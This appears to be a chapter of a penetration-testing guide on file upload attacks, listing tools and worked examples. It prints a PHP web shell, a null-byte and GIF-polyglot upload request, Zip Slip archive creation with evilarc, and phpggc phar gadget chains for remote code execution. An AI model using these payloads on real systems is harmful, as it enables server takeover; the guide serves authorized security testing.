Chapter 8
The file upload toolkit
Proxies, metadata editors, archive crafters, and gadget generators.
You do not need a giant toolbox for upload testing. A proxy that lets you edit raw multipart boundaries cleanly, plus a few focused CLI utilities for metadata and archives, covers almost every real target.
The core toolkit
Section titled “The core toolkit”| Tool | Primary function | Typical command or usage pattern |
|---|---|---|
| Burp Suite Repeater | Intercept and modify multipart upload requests | Edit Content-Disposition, filename, and file bodies |
| Turbo Intruder | Parallel race condition testing | Execute concurrent upload and download requests |
| ExifTool | Metadata extraction and injection | exiftool -Comment='<?php phpinfo(); ?>' image.jpg |
| ImageMagick identify | Inspect image formats and verify parser behavior | identify -verbose image.jpg |
| evilarc | Generate archives with directory traversal entries | python evilarc.py shell.php -d 6 -o unix |
| phpggc | Generate PHP gadget chains for phar archives | phpggc Laravel/RCE1 system 'id' --phar -o evil.phar |
| Nuclei | Scan for documented CVEs in web services | nuclei -id CVE-2021-22205 -u https://target.example |
Burp Suite Repeater
Section titled “Burp Suite Repeater”Burp Suite Repeater provides exact control over multipart form boundaries. You can modify headers without browser interference. Test different content types, strip null bytes, and inject parameter variations directly.
POST /api/v1/profile/avatar HTTP/1.1Host: target.exampleContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ
------WebKitFormBoundaryXYZContent-Disposition: form-data; name="avatar"; filename="avatar.php%00.png"Content-Type: image/png
GIF89a<?php system($_GET['c']); ?>------WebKitFormBoundaryXYZ--Crafting Zip Slip archives with evilarc
Section titled “Crafting Zip Slip archives with evilarc”The evilarc utility creates zip archives containing relative path traversal entries.
- Create a minimal web shell file named
shell.php. - Run
evilarcto package the file with path traversal sequences. - Specify the target operating system format.
echo "<?php system(\$_GET['c']); ?>" > shell.phppython evilarc.py shell.php -d 5 -p var/www/html -o unixThe resulting zip archive contains an entry that writes to /var/www/html/shell.php upon naive extraction.
Generating phar gadget chains with phpggc
Section titled “Generating phar gadget chains with phpggc”The phpggc tool creates serialized objects for popular PHP frameworks.
When a target application exposes a phar:// stream wrapper execution path, use phpggc to generate the payload.
phpggc Monolog/RCE1 system "id" --phar phar -o payload.pharcp payload.phar avatar.jpgBecause PHP phar archives tolerate initial junk data, the file remains a valid polyglot.
Upload avatar.jpg and trigger backend filesystem operations using the phar:// protocol.
Next, Chapter 9 covers how to write up these findings for triage teams.
Open local graph around this page
Linked from here
Links out to
No outgoing internal links on this page.
File UploadFor authorized testing only.